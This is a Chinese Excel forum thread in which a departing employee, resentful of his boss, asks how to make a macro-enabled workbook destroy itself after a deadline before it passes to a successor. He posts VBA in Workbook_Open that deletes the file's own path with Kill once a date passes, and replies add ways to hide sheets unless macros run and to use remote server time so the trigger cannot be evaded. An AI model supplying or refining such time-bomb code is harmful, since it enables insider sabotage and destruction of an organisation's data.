ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

EH搜索     
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 Excel Home精品图文教程库
Excel不给力? 何不试试FoxTable! Excel 2016函数公式学习大典 Office知识技巧免费学 打造核心竞争力的职场宝典
300集Office 2010微视频教程 Tableau-数据可视化工具 精品推荐-800套精选PPT模板,点击获取 ExcelHome出品 - VBA代码宝免费下载
你的Excel 2010实战技巧学习锦囊 欲罢不能, 过目难忘的 Office 新界面 Excel VBA经典代码实践指南
查看: 654|回复: 11

如何防止Excel自杀不成功?

[复制链接]

TA的精华主题

TA的得分主题

发表于 2019-3-8 22:22 | 显示全部楼层 |阅读模式
我现在有一个excel到一定的时间表格自己彻底的删除代码,如果我放到表格里面运行以后保存为“Excel启用宏的工作簿”,再把表格发给他人,有人说对方只要到期前禁用宏,就算到时候表格也不会自杀了。有谁知道如何破?数据要放到百度云盘,他人再从云盘下载下来使用。毕竟为公司辛辛苦苦干活,现在顶头小Boss要提拔亲信,把我们都弄走还要我们把数据留给他亲信,想想没日没夜写Excel公式才治理好数据,现在终于有点成果就要摘桃子,让对方舒舒服服把自己赶走,说心里一点都不介意那是不可能的,数据带不走,也不会想把整理好的留给对方。
  1. <blockquote>Private Sub Workbook_Open()
复制代码




TA的精华主题

TA的得分主题

 楼主| 发表于 2019-3-8 22:23 | 显示全部楼层
Private Sub Workbook_Open() If Date >= #1/23/2015# And TimeValue(Now()) >= CDate("12:06:08") Then With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly Kill .FullName .Close End With End If End Sub

TA的精华主题

TA的得分主题

 楼主| 发表于 2019-3-8 22:24 | 显示全部楼层
  1. Private Sub Workbook_Open()
  2. If Date >= #1/23/2015# And TimeValue(Now()) >= CDate("12:06:08") Then
  3. With ThisWorkbook
  4. .Saved = True
  5. .ChangeFileAccess xlReadOnly
  6. Kill .FullName
  7. .Close
  8. End With
  9. End If
  10. End Sub
复制代码

TA的精华主题

TA的得分主题

发表于 2019-3-9 06:36 来自手机 | 显示全部楼层
Private Sub Workbook_Open()
If Date >= #1/23/2015# And TimeValue(Now()) >= CDate("12:06:08") Then
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close
End With
else

rem取消隐藏工作表的VBA语言如下



Worksheets("Sheet1").Visible = true '隐藏时=False




End If
End Sub
在保存 workbook_save里 隐藏

TA的精华主题

TA的得分主题

发表于 2019-3-9 06:37 来自手机 | 显示全部楼层

TA的精华主题

TA的得分主题

 楼主| 发表于 2019-3-9 12:16 | 显示全部楼层
zpy2 发表于 2019-3-9 06:37
另外,VBA很容易被破解的

就因为我怕到时候对方禁止宏,所以我才想如果对方停止了宏数据就没法看到甚至使用。领导如果真要做出卸磨杀驴的事也不要怪我。还有就是我这个代码中的时间会因为修改电脑系统时间无法实现吗?

TA的精华主题

TA的得分主题

发表于 2019-3-9 16:59 来自手机 | 显示全部楼层
KingRoc1 发表于 2019-3-9 12:16
就因为我怕到时候对方禁止宏,所以我才想如果对方停止了宏数据就没法看到甚至使用。领导如果真要做出卸磨 ...

会的,可以用xmlhttp获取网页远程服务器时间来代替本机时间。

TA的精华主题

TA的得分主题

发表于 2019-3-9 17:01 来自手机 | 显示全部楼层

TA的精华主题

TA的得分主题

发表于 2019-3-9 17:04 来自手机 | 显示全部楼层
代码的意义在于后续维护,能用的最好还是用。你的想法和我以前一样。。。

TA的精华主题

TA的得分主题

 楼主| 发表于 2019-3-10 08:45 | 显示全部楼层
zpy2 发表于 2019-3-9 17:04
代码的意义在于后续维护,能用的最好还是用。你的想法和我以前一样。。。

保存的时候另存为“Excel启用宏的工作簿”,是不是规避对方禁用宏,只要打开一定要启用宏啊?
您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

关注官方微信,高效办公专列,每天发车

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2020-4-4 01:39 , Processed in 1.093595 second(s), 24 queries , Gzip On.

Powered by Discuz! X3.4

© 1999-2020 Wooffice Inc.

   

沪公网安备 31011702000001号 沪ICP备11019229号

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:徐怀玉律师 李志群律师

快速回复 返回顶部 返回列表